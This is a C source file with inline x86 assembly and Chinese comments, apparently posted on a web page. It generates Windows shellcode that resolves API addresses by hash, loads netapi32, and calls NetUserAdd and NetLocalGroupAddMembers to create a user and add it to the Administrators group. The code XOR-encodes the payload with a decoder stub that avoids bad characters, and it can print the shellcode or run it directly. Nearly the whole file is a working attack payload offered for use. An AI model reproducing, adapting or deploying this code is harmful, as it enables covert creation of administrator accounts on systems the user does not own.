#include <windows.h>
#include <stdio.h>
#define SC_HEX 0
#define NAKED __declspec(naked)
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
#define PROC_STR "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
void PrintSc(unsigned char *buf, int buf_len, int opt)
{
int i=0;
printf("// %d bytes\n", buf_len);
switch(opt)
{
case SC_HEX:
for(i=0; i<buf_len; i++)
{
printf("\\x%02X", buf[i]);
}
break;
}
}
void ShellCode();
unsigned char decode1[] =
/*
00401004 . /EB 0E JMP SHORT encode.00401014
00401006 $ |5B POP EBX
00401007 . |4B DEC EBX
00401008 . |33C9 XOR ECX,ECX
0040100A . |B1 FF MOV CL,0FF
0040100C > |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99
00401010 .^|E2 FA LOOPD SHORT encode.0040100C
00401012 . |EB 05 JMP SHORT encode.00401019
00401014 > \E8 EDFFFFFF CALL encode.00401006
*/
"\xEB\x0E\x5B\x4B\x33\xC9\xB1"
"\xFF" // shellcode size
"\x80\x34\x0B"
"\x99" // xor byte
"\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF"; // 21字节
unsigned char decode2[] =
/* ripped from eyas
00406030 /EB 10 JMP SHORT 00406042
00406032 |5B POP EBX
00406033 |4B DEC EBX
00406034 |33C9 XOR ECX,ECX
00406036 |66:B9 6601 MOV CX,166
0040603A |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99
0040603E ^|E2 FA LOOPD SHORT 0040603A
00406040 |EB 05 JMP SHORT 00406047
00406042 \E8 EBFFFFFF CALL 00406032
*/
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9"
"\x66\x01" // shellcode size
"\x80\x34\x0B"
"\x99" // xor byte
"\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF"; // 23字节
// kernel32.dll 数目
#define _Knums 2
// kernel32.dll 导出
#define _LoadLibraryA 0x00
#define _ExitThread 0x04
// netapi32.dll
#define _NetUserAdd 0x08
#define _NetLocalGroupAddMembers 0x0C
// Data
#define _DataOffset 0
#define _UserPassword 0x10
unsigned char functions[100][128] =
{ // [esi] stack layout
// kernel32 .dll
"LoadLibraryA",
"ExitThread",//"ExitProcess", //"ExitThread",
"NetUserAdd",
"NetLocalGroupAddMembers",
"",
};
int GetShellCode(unsigned char* buff, char* user, char* pass)
{
char *fnbgn_str = PROC_STR;
char *fnend_str = fnbgn_str;
unsigned char* scAddr = 0;
unsigned char scBuff[2048];
unsigned int scBuffLen = sizeof(scBuff);
unsigned long dwHash[100];
unsigned int dwHashSize = 0;
unsigned int scLen = 0;
unsigned char xorByte = 0x00;
int i, j, bFind;
char admin[] = "Administrators";
for(i=0; functions[i][0]; i++)
{
dwHash[i] = 0;
for(j=0; functions[i][j]; j++)
{
dwHash[i] = ( (dwHash[i]<<25) | (dwHash[i]>>7) ) + functions[i][j] ;
}
//printf("%.8X\t%s\n", dwHash[i], functions[i]);
}
dwHashSize = i*4;
scAddr = (unsigned char *)ShellCode;
for(j=0; j < scBuffLen; j++)
{
if(!memcmp(scAddr+j, fnbgn_str, 8))
{
scAddr += (j+8); // ShellCode开始地址
break;
}
}
for(j=0; j < scBuffLen; j++)
{
if(!memcmp(scAddr+j, fnend_str, 8))
{
scLen = j; // Shellcode长度 (未加函数hash)
break;
}
}
memcpy(scBuff, scAddr, scLen);
memcpy(scBuff+scLen, (unsigned char *)dwHash, dwHashSize); // Shellcode尾部添加函数hash
scLen += dwHashSize; // Shellcode长度 (添加函数hash后)
// 添加修改shellcode的部分 ......
scLen += _DataOffset;
memcpy(scBuff+scLen, user, strlen(user)+1);
scLen += (strlen(user)+1);
memcpy(scBuff+scLen, pass, strlen(pass)+1);
scLen += (strlen(pass)+1);
memcpy(scBuff+scLen, admin, strlen(admin)+1);
scLen += (strlen(admin)+1);
for(i=0xFF; i>0; i--) // 找xorByte
{
for(j=0; j<scLen; j++)
{
if ( // 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40",
((scBuff[j] ^ i) == '\r') ||
((scBuff[j] ^ i) == '\n') ||
((scBuff[j] ^ i) == '/') ||
((scBuff[j] ^ i) == '\\') ||
((scBuff[j] ^ i) == '@' ) ||
((scBuff[j] ^ i) == '_' ) ||
((scBuff[j] ^ i) == '.' ) ||
//((scBuff[j] ^ i) == ':' ) ||
//((scBuff[j] ^ i) == '"' ) ||
//((scBuff[j] ^ i) == '>' ) ||
//((scBuff[j] ^ i) == '<' ) ||
//((scBuff[j] ^ i) == ' ' ) ||
((scBuff[j] ^ i) == '\0')
)
{
bFind = 0;
break;
}
bFind = 1;
}
if(bFind) break;
}
if(!bFind)
{
printf("No xorByte found!\n");
return 0;
}
else
{
xorByte = i;
for(j=0; j<scLen; j++)
{
scBuff[j] ^= xorByte;
}
// encode
if(scLen > 0xFF)
{
*(unsigned short *)&decode2[8] = scLen;
*(unsigned char *)&decode2[13] = xorByte;
memcpy(buff, decode2, sizeof(decode2)-1);
memcpy(buff+sizeof(decode2)-1, scBuff, scLen);
scLen += sizeof(decode2)-1;
}
else
{
*(unsigned char *)&decode1[7] = scLen;
*(unsigned char *)&decode1[11] = xorByte;
memcpy(buff, decode1, sizeof(decode1)-1);
memcpy(buff+sizeof(decode1)-1, scBuff, scLen);
scLen += sizeof(decode1)-1;
}
return scLen; // Shellcode最终长度
}
}
void ShellCode()
{
__asm
{
PROC_BEGIN // C macro to begin proc
jmp sc_end
sc_start:
pop edi // Hash string start addr (esp -> edi)
// Get kernel32.dll base addr
push 0x30
pop ecx
mov eax, fs:[ecx] // PEB
mov eax, [eax+0x0c] // PROCESS_MODULE_INFO
mov esi, [eax+0x1c] // InInitOrder.flink
lodsd // eax = InInitOrder.blink
mov ebp, [eax+8] // ebp = kernel32.dll base address
mov esi, edi // Hash string start addr -> esi
push _Knums
pop ecx
get_kernel32:
call GetProcAddress_fun // Get function addr of kernel32
loop get_kernel32
push ecx // ecx==0
push '23ip'
push 'aten' // 'netapi32'
push esp
call [esi+_LoadLibraryA]
xchg ebp, eax
push 2
pop ecx
get_netapi32:
call GetProcAddress_fun
loop get_netapi32
/*
user
pass
admin
typedef struct _USER_INFO_1 {
+00 LPWSTR usri1_name; user
+04 LPWSTR usri1_password; pass
+08 DWORD usri1_password_age; 0
+0C DWORD usri1_priv; 1
+10 LPWSTR usri1_home_dir; 0
+14 LPWSTR usri1_comment; 0
+18 DWORD usri1_flags; 10000
+1C LPWSTR usri1_script_path; 0
}USER_INFO_1, *PUSER_INFO_1, *LPUSER_INFO_1;
typedef struct _LOCALGROUP_MEMBERS_INFO_3 {
+20 LPWSTR lgrmi3_domainandname;
} LOCALGROUP_MEMBERS_INFO_3;
*/
//int 3 // ecx==0
inc ch
sub esp, ecx // ecx==100
xchg ebx, esi
lea esi, [ebx+_UserPassword]
xor eax, eax
mov edi, esp // esp user
call ascii_to_unicode
mov edx, edi // edx pass
call ascii_to_unicode
mov ebp, edi // ebp admin
call ascii_to_unicode
xchg ebx, esi
push 8 // eax==0
pop ecx
mov ebx, edi
zero_loop:
stosd
loop zero_loop
mov [edi], esp
mov [ebx], esp
mov [ebx+4], edx
inc ecx
push ecx
push edi
push 3
push ebp
push eax
push eax
push ebx
push ecx
push eax
mov [ebx+0x0C], ecx // ecx==1
shl ecx, 0x10 // ecx==10000h
mov [ebx+0x18], ecx
call [esi+_NetUserAdd] // NetUserAdd(NULL, 1, (LPBYTE)&UserInfo1, NULL);
call [esi+_NetLocalGroupAddMembers] // NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&GroupInfo3, 1);
call [esi+_ExitThread]
ascii_to_unicode:
convert_loop:
lodsb
stosw
test al, al
jne convert_loop
retn
/*
esi 指向hash数组基址
edi 指向hash存放地址
ebp 指向PE加载基址
*/
GetProcAddress_fun:
push ecx
push esi
mov esi, [ebp+0x3C] // e_lfanew
mov esi, [esi+ebp+0x78] // ExportDirectory RVA
add esi, ebp // rva2va
push esi
mov esi, [esi+0x20] // AddressOfNames RVA
add esi, ebp // rva2va
xor ecx, ecx
dec ecx
find_start:
inc ecx
lodsd
add eax, ebp
xor ebx, ebx
hash_loop:
movsx edx, byte ptr [eax]
cmp dl, dh
jz short find_addr
ror ebx, 7 // hash key
add ebx, edx
inc eax
jmp short hash_loop
find_addr:
cmp ebx, [edi] // compare to hash
jnz short find_start
pop esi // ExportDirectory
mov ebx, [esi+0x24] // AddressOfNameOrdinals RVA
add ebx, ebp // rva2va
mov cx, [ebx+ecx*2] // FunctionOrdinal
mov ebx, [esi+0x1C] // AddressOfFunctions RVA
add ebx, ebp // rva2va
mov eax, [ebx+ecx*4] // FunctionAddress RVA
add eax, ebp // rva2va
stosd // function address save to [edi]
pop esi
pop ecx
ret
sc_end:
call sc_start
PROC_END //C macro to end proc
}
}
#ifndef _MAIN_FUNC
void main(int argc, char *argv[])
{
unsigned char scBuff[2048];
unsigned int scLen = 0;
DWORD addr;
if(argc==3 || argc==4)
{
scLen = GetShellCode(scBuff, argv[1], argv[2]);
}
else
{
printf( "Usage:\n"
" %s user pass [1]\n"
" eg. %s admin pass\n"
,argv[0], argv[0]);
return;
}
if(argc==4 && atoi(argv[3])==1)
{
addr = (DWORD)&scBuff;
__asm
{
jmp addr
}
return;
}
else
{
PrintSc(scBuff, scLen, SC_HEX);
}
}
#endif
暂无评论